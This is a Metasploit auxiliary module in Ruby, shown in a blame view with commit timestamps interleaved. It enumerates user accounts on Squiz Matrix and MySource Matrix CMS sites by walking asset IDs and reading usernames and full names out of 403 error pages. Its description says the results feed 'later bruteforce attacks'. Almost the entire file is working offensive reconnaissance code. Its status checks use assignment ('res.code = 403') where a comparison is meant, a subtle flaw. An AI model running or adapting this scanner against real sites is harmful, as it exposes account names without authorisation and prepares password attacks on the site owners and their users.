2011-11-08 03:14:39 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-11-08 03:14:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2011-11-20 02:12:07 +00:00
|
|
|
|
2011-11-08 03:14:39 +00:00
|
|
|
# Exploit mixins should be called first
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
# Reporting facilities
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
# Scanner mixin should be near last
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Squiz Matrix User Enumeration Scanner',
|
|
|
|
'Description' => %q{
|
|
|
|
This module attempts to enumernate remote users that exist within
|
|
|
|
the Squiz Matrix and MySource Matrix CMS by sending GET requests for asset IDs
|
|
|
|
e.g. ?a=14 and searching for a valid username eg "~root" or "~test" which
|
|
|
|
is prefixed by a "~" in the response. It will also try to GET the users
|
|
|
|
full name or description, or other information. You may wish to modify
|
|
|
|
ASSETBEGIN and ASSETEND values for greater results, or set VERBOSE.
|
|
|
|
Information gathered may be used for later bruteforce attacks.
|
|
|
|
},
|
2011-11-08 16:09:31 +00:00
|
|
|
'Author' => [ 'Troy Rose <troy[at]osisecurity.com.au>', 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
2011-11-08 03:14:39 +00:00
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 8 2011'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, 'The path to users Squiz Matrix installation', '/']),
|
|
|
|
OptInt.new('ASSETBEGIN', [ true, "Asset ID to start at", 1]),
|
|
|
|
OptInt.new('ASSETEND', [ true, "Asset ID to stop at", 100]),
|
|
|
|
OptBool.new('VERBOSE', [ true, "Display all attempts", true ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def target_url
|
|
|
|
"http://#{vhost}:#{rport}#{datastore['URI']}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
@users_found = {}
|
|
|
|
|
2011-11-08 16:09:31 +00:00
|
|
|
asset_begin = datastore['ASSETBEGIN']
|
|
|
|
asset_end = datastore['ASSETEND']
|
2011-11-08 03:14:39 +00:00
|
|
|
if (asset_begin > asset_end)
|
|
|
|
print_error("Unable to continue. ASSETEND must be greater than ASSETBEGIN")
|
|
|
|
end
|
2011-11-08 16:09:31 +00:00
|
|
|
|
2011-11-08 03:14:39 +00:00
|
|
|
asset_begin.upto(asset_end) do |asset|
|
|
|
|
do_enum(asset)
|
|
|
|
end
|
|
|
|
|
|
|
|
if(@users_found.empty?)
|
|
|
|
print_status("#{target_url} - No users found.")
|
|
|
|
else
|
|
|
|
print_good("#{target_url} - Users found: #{@users_found.keys.sort.join(", ")}")
|
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:proto => 'tcp',
|
2012-02-18 04:59:48 +00:00
|
|
|
:sname => (ssl ? 'https' : 'http'),
|
2011-11-08 03:14:39 +00:00
|
|
|
:type => 'users',
|
|
|
|
:vhost => vhost,
|
|
|
|
:data => {:users => @users_found.keys.join(", ")}
|
|
|
|
)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_enum(asset)
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
2011-11-08 16:09:31 +00:00
|
|
|
'uri' => "#{target_url}?a=#{asset}",
|
|
|
|
'method' => 'GET'
|
2011-11-08 03:14:39 +00:00
|
|
|
}, 20)
|
2011-11-08 16:09:31 +00:00
|
|
|
|
2011-11-08 03:14:39 +00:00
|
|
|
if (datastore['VERBOSE'])
|
|
|
|
if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>(\w+)<\/i>/)
|
|
|
|
print_status("#{target_url}?a=#{asset} - Trying Asset: '#{asset}' title '#{$1}'")
|
2012-03-06 19:01:20 +00:00
|
|
|
else
|
2011-11-08 03:14:39 +00:00
|
|
|
print_status("#{target_url}?a=#{asset} - Trying Asset: '#{asset}'")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>~(\w+)<\/i>/)
|
|
|
|
user=$1.strip
|
|
|
|
|
|
|
|
# try the full name of the user
|
|
|
|
tmpasset = asset -1
|
|
|
|
res = send_request_cgi({
|
2011-11-08 16:09:31 +00:00
|
|
|
'uri' => "#{target_url}?a=#{tmpasset}",
|
|
|
|
'method' => 'GET'
|
2011-11-08 03:14:39 +00:00
|
|
|
}, 20)
|
|
|
|
if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>Inbox<\/i>/)
|
|
|
|
tmpasset = asset -2
|
|
|
|
res = send_request_cgi({
|
2011-11-08 16:09:31 +00:00
|
|
|
'uri' => "#{target_url}?a=#{tmpasset}",
|
|
|
|
'method' => 'GET'
|
2011-11-08 03:14:39 +00:00
|
|
|
}, 20)
|
|
|
|
print_good("#{target_url}?a=#{asset} - Trying to obtain fullname for Asset ID '#{asset}', '#{user}'")
|
|
|
|
if (res and res.code = 403 and res.body and res.body =~ /You do not have permission to access <i>(.*)<\/i>/)
|
|
|
|
fullname = $1.strip
|
|
|
|
print_good("#{target_url}?a=#{tmpasset} - Squiz Matrix User Found: '#{user}' (#{fullname})")
|
|
|
|
@users_found["#{user} (#{fullname})"] = :reported
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_good("#{target_url} - Squiz Matrix User: '#{user}'")
|
|
|
|
@users_found[user] = :reported
|
|
|
|
end
|
2011-11-08 16:09:31 +00:00
|
|
|
|
2011-11-08 03:14:39 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => rhost,
|
2012-02-18 04:59:48 +00:00
|
|
|
:sname => (ssl ? 'https' : 'http'),
|
2011-11-08 03:14:39 +00:00
|
|
|
:user => user,
|
|
|
|
:port => rport,
|
2011-11-08 16:09:31 +00:00
|
|
|
:proof => "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}")
|
2011-11-08 03:14:39 +00:00
|
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|